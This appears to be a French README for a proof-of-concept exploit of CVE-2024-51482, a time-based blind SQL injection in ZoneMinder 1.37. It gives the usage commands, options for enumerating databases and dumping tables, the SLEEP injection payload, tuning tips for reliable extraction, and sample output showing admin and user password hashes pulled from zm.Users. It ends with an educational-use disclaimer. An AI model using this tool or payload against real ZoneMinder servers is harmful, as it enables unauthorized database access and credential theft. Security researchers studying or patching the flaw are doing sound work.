
PoC d'injection SQL aveugle basée sur le temps avec authentification pour ZoneMinder CVE-2024-51482 (v1.37.* <= 1.37.64)
Exploitation authentifiée d'injection SQL aveugle basée sur le temps pour ZoneMinder v1.37. <= 1.37.64*
Il s'agit d'une preuve de concept pour CVE-2024-51482, une vulnérabilité d'injection SQL aveugle basée sur le temps dans la fonctionnalité de gestion des événements de ZoneMinder. L'exploitation nécessite une authentification et utilise des requêtes SLEEP conditionnelles pour extraire des données de la base de données.
pip install requests
python3 poc.py -t example.local -u admin -p password
python3 poc.py -t example.local --cookie 'ZMSESSID_value'
python3 poc.py -t example.local -u admin -p password -v
python3 poc.py -t example.local -u admin -p password --dbs
python3 poc.py -t example.local -u admin -p password -D zm --tables
python3 poc.py -t example.local -u admin -p password -D zm -T Users --columns
python3 poc.py -t example.local -u admin -p password -D zm -T Users --dump
Requis :
-t, --target TARGET URL cible (IP, nom d'hôte ou URL complète)
Authentification :
-u, --username USERNAME Nom d'utilisateur pour l'authentification
-p, --password PASSWORD Mot de passe pour l'authentification
--cookie COOKIE Cookie de session (ZMSESSID)
Énumération :
--dbs Énumérer les bases de données
-D, --database DATABASE Base de données à utiliser
--tables Énumérer les tables
-T, --table TABLE Table à utiliser
--columns Énumérer les colonnes
--dump Extraire les données de la table
Performance :
--delay DELAY Délai en secondes (par défaut : 3, sûr)
--threads THREADS Nombre de threads (par défaut : 5, sûr)
-v, --verbose Afficher la progression de l'extraction
python3 poc.py -t example.local -u admin -p password --delay 3 --threads 5
python3 poc.py -t example.local -u admin -p password --delay 1 --threads 20
[*] Cible : http://example.local
[*] Délai : 3s | Threads : 5
[+] Authentifié en tant que admin
[*] Test de la vulnérabilité...
[+] La cible est VULNÉRABLE !
[*] Mode par défaut : Extraction des identifiants de zm.Users...
[*] Extraction des données de 'zm.Users'...
[+] Extrait : admin
[+] Extrait : $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
[+] Extrait : john
[+] Extrait : $2y$10$prZGnazejKcaLq9bKNexXOglBSqOl1hq07LW7AJ/QNqZolbXKfFG.
====================================================================================
| Nom d'utilisateur | Mot de passe |
====================================================================================
| admin | $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm |
| john | $2y$10$prABlsrtyjkiWv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. |
====================================================================================
[+] 2 entrées extraites
L'exploitation utilise SLEEP conditionnel :
1 AND (SELECT 1 FROM (SELECT(SLEEP(3-(IF(condition,0,3)))))test)
Si vous obtenez des caractères erronés (par exemple, $ devient 8) :
# Augmentez le délai et réduisez le nombre de threads
python3 poc.py -t example.local -u admin -p password --delay 4 --threads 3
Si l'extraction est trop lente :
# Diminuez le délai et augmentez le nombre de threads (peut réduire la précision)
python3 poc.py -t example.local -u admin -p password --delay 2 --threads 10
Si la table par défaut zm.Users n'existe pas :
# Énumérez d'abord les bases de données
python3 poc.py -t example.local -u admin -p password --dbs
# Ensuite, énumérez les tables
python3 poc.py -t example.local -u admin -p password -D nom_base_de_donnees --tables
Cet outil est destiné uniquement à des fins éducatives et de tests de sécurité autorisés.
Ce projet est fourni à des fins éducatives uniquement. Utilisez-le de manière responsable et éthique.
⭐ Si vous trouvez cela utile, veuillez étoiler le dépôt !